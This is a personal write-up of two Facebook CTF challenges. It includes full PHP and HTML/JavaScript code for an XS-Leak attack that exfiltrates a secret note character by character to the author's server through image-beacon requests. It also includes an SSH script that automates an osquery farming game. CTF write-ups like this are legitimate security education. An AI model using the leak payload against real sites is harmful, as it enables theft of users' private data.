So, the first ever Facebook CTF came and went pretty fast and there were a few challenges I found to be interesting.



This won’t be a complete write-up of how the tasks were accomplished as you can find those all over the place, this is just my very brief explanation of the two challenges I enjoyed doing and the way I’d accomplished them with some PoC code.

Secret Note Keeper

So, After reading a few write-ups I realized a lot of people had only commented on the method that they’d used to obtain the flag but didn’t detail the steps taken to there.

First, You’re presented with a login/registration page;

Upon logging in you’re given a few different options as you can see from the links in the navigation bar they are; “Home”, “All Notes”, “Search Notes”, and “Report Bugs”.

Some of my initial attempts as breaching this were analyzing cookies to try to determine if forging a cookie to an admin user was possible; which completely failed. After the fact I’d made a few attempts to register as a specific user that may have already been registered; relying on constraint and truncation attacks here…



When all of that failed I decided it was time to look at the functionality of the application itself and see if there was anything interesting that could be used or abused.



Given, I could’ve done a better job at reading the hints on these challenges… not reading into a hint/description of a challenge or reading into it too much really caused me some damage and missed time. If we look back at the challenge and the hint it offers we’d see “Find the secret note that contains the fl4g!”, basically telling us that there’s a secret note we should be looking for… my guessing here was that I had to find a way to breach the user that had stored the note in the first place to get access to it instead of thinking there was some other illegitimate way of obtaining the ‘secret note’.



Alright, so we know no other methods of abuse are working so far and we haven’t really looked too deeply into how the application works… so let’s do that, first looking at the “All notes” page;

All notes page.

Looking at the page it looks like we have the ability to write a note; this isn’t exactly what we want as our goal is to retrieve a secret note apparently… so we try our usual truncation and constraint tests again using ‘fl4g’ as the name only to really not produce any results. A lesson I’m taking away from this is going to be look at the ENTIRE app before trying to exploit the thing, I wasted so much time trying exploits/testing things that weren’t relevant to the app at all instead of discovering the real thing I could do here.



That being said, I went ahead and added two notes for the purpose of this write-up and named one “test” and the other “test2”, with similar content.

After getting our two notes added we move onto the “search” function and determine that it matches partial or full strings… I’m able to enter “t” and I see my two notes, If I were to enter “tf” however; I would not see either of my notes and so on.

Looking at the source of the page with our notes appearing we notice that for some reason the way it’s displaying the content of our notes is within an iframe. I found this unusual but didn’t think much of it… I’m not huge on these kinds of attacks so this is something I’d actually learned during this CTF just to complete this challenge; I had initially though of another way of accomplishing attacking this but hadn’t gone that route I’ll go more into detail on that when we get to how this is actually exploited.

So with having investigated both the “All notes” and “Search Notes” pages at this point, there was only one page left to do some investigation around “Report bugs”. Upon visiting the page we’re met with a weird challenge of sorts which is what I was referring to when I had mentioned other CTFs didn’t cover all aspects of this challenge; See there’s a value they called “proof of work” which appears to take some form of plain-text md5 it and take the first 5 characters of the md5, then it asks you to enter a plain-text value which will generate that same beginning 5 characters within an md5.



At first I’d thought this was going to take awhile and the thing that concerned me was I’d noticed that when you visited the page it was storing this “pow” value in a cookie with a time stamp and a hash of both values which I assume was salted as they could not be altered. Though seeing this at all meant I now wanted to use this page… this had to be the direction you’re intended to go in considering there’s a barrier for entry here.

So, taking a step back and looking at what we have so far; We’ve got a page which allows us to submit notes on “All notes”, another page which allows us to search for notes which does partial matching on “Search notes” and now a “Report bugs” page which we’ll wait to dig into because before we’re going to be able to do anything we’ll need to be able to bypass/solve this proof of work.



My method of doing so was somewhat simple;



for(;;) { $str = rand().time(); $md5 = md5($str); $md5_5 = substr($md5,0,5); if($md5_5 === $pow_md5) { print("plain_text:".$str)."\r

"; break; } }

I generate random md5 hashes using a combination of the rand() function and time() function, take the first 5 characters of the two and do this until I get something that matches what our pow (proof of work) value is eventually, I did end up writing it into a script which would automate the submission of the ‘bug’ as well, but for purposes of the write-up we’ll just cover the manual portion first.



So now that we’re calculating a valid “proof of work”, we’re able to submit bugs to the page with our own URL. So naturally I used my server’s URL “http://www.thedefaced.org/bugreport_ctf” while watching access logs to see if I got any hits… to my surprise, a few seconds later a headless chrome browser had reached my site.



Now, going back to what I was saying before… these kinds of cross-site attacks aren’t generally my forte; my immediate idea was that I could DNS re-bind and request the “All notes” page in order to obtain all of this headless chrome brower’s “notes” hopefully obtaining the flag in the process.



Thinking through it further I suspected that this wouldn’t work due to the fact when you DNS re-bind you do so using your own domain; because of this the cookies wouldn’t be valid for my domain for them to have a session to the website. Someone on the IRC after the CTF had ended claimed they had done it this way but I honestly still have my doubts though the other variables were there for it to be possible ( The default vhost was setup so if you hit the IP address directly you still saw the challenge ).



So without DNS re-binding I had to go back to the drawing board and smash my head against a few walls before I ran across some articles and information on “XS-Leaks”; I found this to be frustrating to learn the topic on the fly during the CTF due to the fact the documentation seemed limited and the PoCs I could simply hack together seemed even more limited. There was no quick and easy solution here, this was going to have to be a payload I’d write myself…



After some research I’d discovered that when you open a window from javascript it’s possible to obtain certain information about that window, one of those pieces of information being how many iframes it has loaded within it. I began to immediately draft a payload to; open a new window to the challenge within the headless browser to the search function, then attempt to count the number of frames on the page… it didn’t work. Why?



Well there were a number of limiting factors here, one of which was they’d had a timeout setup where the headless chrome browser would only run for a specific period of time, the headless chrome browser also seemed to randomly stop working all throughout the CTF so it’s possible that was my issue as well. Regardless I decided to go back to the drawing board… which lead me to learn that not only can you obtain information about other windows opened by javascript, you can also obtain information about iframes within the same page you’re already in… with that I quickly drafted a new HTML/JS payload that did a few things; first, iframe within the html page would load the challenge URL to the search page and a specific character in the string, next a javascript event handler was setup to wait for the iframe to finish loading and then loop until the frame count was higher than zero (this was done to avoid false positives and timing issues, in a normal browser this would actually hang but they were killing the headless chrome instance within a specified amount of time so I wasn’t concerned with it; there may have been another way to check if the iframe within my iframe was fully loaded but this was my approach coming into this for the first time.).



Next, once the count of frames was seen being greater than zero; my javascript would then create a new image element within the page that pointed towards my server’s PHP script telling me the frame count as well as the character that was being attempted. So long as I saw the frames were above zero I knew the character that was being searched for was indeed a valid character and I was able to brute-force character by character from here.

With that I’d eventually brute-force the flag through a XS Leak attack or Cross-Leak attack. Due to the fact I was able to count the amount of iframes that were on a request pointed to another website.



The complete code used to achieve this is posted below;



HTML/JS/PHP server side;

<!DOCTYPE html> <html> <body> <iframe id="ctf_frame" src="http://challenges.fbctf.com:8082/search?query=<?php echo $_GET['char']; ?>"></iframe> <script> var character = <?php echo "'".$_GET['char']."';"; ?> document.getElementById('ctf_frame').onload = function() { var framecnt = window.frames[0].frames.length; do { framecnt = window.frames[0].frames.length; } while(framecnt < 1); console.log(framecnt); (new Image).src = "http://new.thedefaced.org/xs_get.php?frames="+framecnt+"&char="+encodeURIComponent(character); } </script> </body> </html>

PHP Client Side (POW Bruteforce, login, submit bug);

<?php function test($character) { $users = array("secretusers"=>"secretsecret"); foreach($users as $user => $pass) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"http://challenges.fbctf.com:8082/login"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$user."&password=".$pass); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); print $result; preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches); $cookies = array(); foreach($matches[1] as $item) { parse_str($item, $cookie); $cookies = array_merge($cookies, $cookie); } preg_match_all('/^Date:\s*([^C]*)/mi',$result,$matches); $session = $cookies["session"]; curl_close($ch); $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://challenges.fbctf.com:8082/report_bugs"); curl_setopt($ch,CURLOPT_HEADER,1); curl_setopt($ch,CURLOPT_HTTPHEADER, array("Cookie: session=".$session)); curl_setopt($ch,CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches); $cookies = array(); foreach($matches[1] as $item) { parse_str($item, $cookie); $cookies = array_merge($cookies, $cookie); } preg_match_all('/^Date:\s*([^C]*)/mi',$result,$matches); $pow = $cookies["pow"]; $pow_md5 = substr($pow,0,5); print $pow_md5."\r

"; print $pow."\r

"; curl_close($ch); for(;;) { $str = rand().time(); $md5 = md5($str); $md5_5 = substr($md5,0,5); if($md5_5 === $pow_md5) { print("plain_text:".$str)."\r

"; break; } } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"http://challenges.fbctf.com:8082/report_bugs"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "title=test&body=test&link=http%3A%2F%2Fnew.thedefaced.org%2Fbruteframe.php?char=".$character."&pow_sol=".$str); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch,CURLOPT_HTTPHEADER, array("Cookie: session=".$session.";pow=".$pow)); $result = curl_exec($ch); print $result."\r

"; } } foreach(range(33,126) as $v) { //fb{cr055_S173_L34_<5_4R4_C00OOL!! test("fb{cr055_S173_L34|<5_4R4_C00OOL!!}".urlencode(chr($v))); } //test("!"); //test("fb{"); //test("fb{cro"); //foreach(range('a','z') as $v){ // test("fb{cr".$v); //} //foreach(range('0','9') as $v){ // test($v); //} //test(); ?>

With that, we’ll move onto the next challenge I found interesting;

osquery_game

I took this challenge quite literally based on the description, “Complete all of the quests and win!”. The reason I found this interesting is because; first it didn’t have a ton of solves to it, and second one of the admins of the CTF later had mentioned in the CTF there was no ‘legitimate’ way of playing while also beating the game…



However, this was exactly what I had done. Let’s start by logging into the game;

We log-in, we look around we run a few command available to us through help and we discover what the goals are here. Looks like we need to move a pig closer to a sheep, water a plant, and pickup the plant.



Seems simple enough, going on to playing the game I run a “select * farm query”;

We see our ‘farm’ and then we get a message within 1-2 seconds later that our sheep has ran away. The fact that this red text was delayed by a second a two made me think that this would certainly have to be scripted…



I quickly began to break down the grid that the emojis here were displayed on, magically determined where the sheep was and where the pig was (you have to have a source to move to a destination) then moved the pig to the sheep… it worked! Easy enough right?



Wrong of course, So I quickly scripted the rest of the script out to complete the other actions of the game; Pickup the water pail the pig leaves behind, plant the seed, water the seed, wait a day, pick up the plant.



Except… I’m met with “The farming season is over” once I go to pick my plant up, what gives? Well it looks as if they limit you to 5 moves yet you appear to need more than that because every time you pull the farm it counts as a move but in order to determine where the pig and the sheep are you need to at least pull the farm once.

That’s when I noticed something interesting, see those little white squares in the picture? There’s a quite a bit of them on the row… and they’re pretty much always one down from the top. Could we plant our seed as our first action by attempting to brute-force the position of these ‘plowed areas’? If we were able to perform an action on our first select before moving our pig to our sheep we’d regain the one move we’d need to be able to finish the game…



So this is exactly what I did, I wrote a script quickly that simply SSH’d in and tried to plant the seed at a static location on the first command it executed; with this I would get not only the seed planted in that move but the board with the coordinates for the sheep and pig in the same move thus re-gaining my first move and being able to complete every action within the 5 moves we’re allotted. Before I knew it, I had the flag;

The source for the script that broke down the grid and performed the brute-force of the seed plant is below (It requires phpseclib);

<?php include('Net/SSH2.php'); function farm() { $ssh = new Net_SSH2('challenges.fbctf.com',2222); if(!$ssh->login('osquerygame','osquerygame')) { exit('Login failed\r

'); } $plowed_space_x = dechex(3); $plowed_space_y = dechex(1); $ssh->write("select * from farm WHERE action='plant' AND dst = 0x".$plowed_space_y.$plowed_space_x.";

"); $ssh->setTimeout(1); $farm = $ssh->read(); $lines = explode("\r

",$farm); $line_num = 0; if(strstr($farm,"Invalid plant") != false) { print "Got invalid plant spot, refarming...\r

"; $ssh->disconnect(); farm(); } $sheep_y = 0; $sheep_x = 0; $flower_y = 0; $flower_x = 0; $pig_y = 0; $pig_x = 0; $plowed_spaces = array(); for($i = 7; $i <= 22; $i++) { $str = substr($lines[$i],1); $emoji_split = str_split(substr($lines[$i],1),1); $x = 0; $col = 0; foreach($emoji_split as $char) { if($char === "\xE2") { print substr($str,$x,3); $space = array(($i-7),$col); array_push($plowed_spaces,$space); $x=$x+3; $col++; } if($char == "\xF0") { $emoji = substr($str,$x,4); if($emoji == "\xF0\x9F\x90\x91") { $sheep_y = ($i-7); $sheep_x = $col; } if($emoji == "\xF0\x9F\x8C\xBB") { $flower_y = ($i-7); $flower_x = $col; } if($emoji == "\xF0\x9F\x90\xB7") { $pig_y = ($i-7); $pig_x = $col; } print substr($str,$x,4); $x=$x+4; $col++; } } print "\r

"; } print "sheep x: ".$sheep_x." y: ".$sheep_y."\r

"; print "pig x: ".$pig_x." y: ".$pig_y."\r

"; $pig_src_x = dechex($pig_x); $pig_src_y = dechex($pig_y); $pig_dst_x = dechex(($sheep_x + 1)); $pig_dst_y = dechex($sheep_y); print "move pig x: ".$pig_dst_x." y: ".$pig_dst_y."\r

"; $ssh->write("select * from farm WHERE action='move' AND src = 0x".$pig_src_y.$pig_src_x." AND dst = 0x".$pig_dst_y.$pig_dst_x.";

"); print $ssh->read(); $ssh->write("select * from farm WHERE action='pickup' AND src=0x".$pig_src_y.$pig_src_x.";

"); print $ssh->read(); print "plant x: ".$plowed_space_x." y: ".$plowed_space_y."\r

"; $ssh->write("select * from farm WHERE action='water' AND dst = 0x".$plowed_space_y.$plowed_space_x.";

"); print $ssh->read(); $ssh->write("select * from farm WHERE action='pickup' AND src = 0x".$plowed_space_y.$plowed_space_x.";

"); print $ssh->read(); die("finished farming\r

"); } farm(); ?>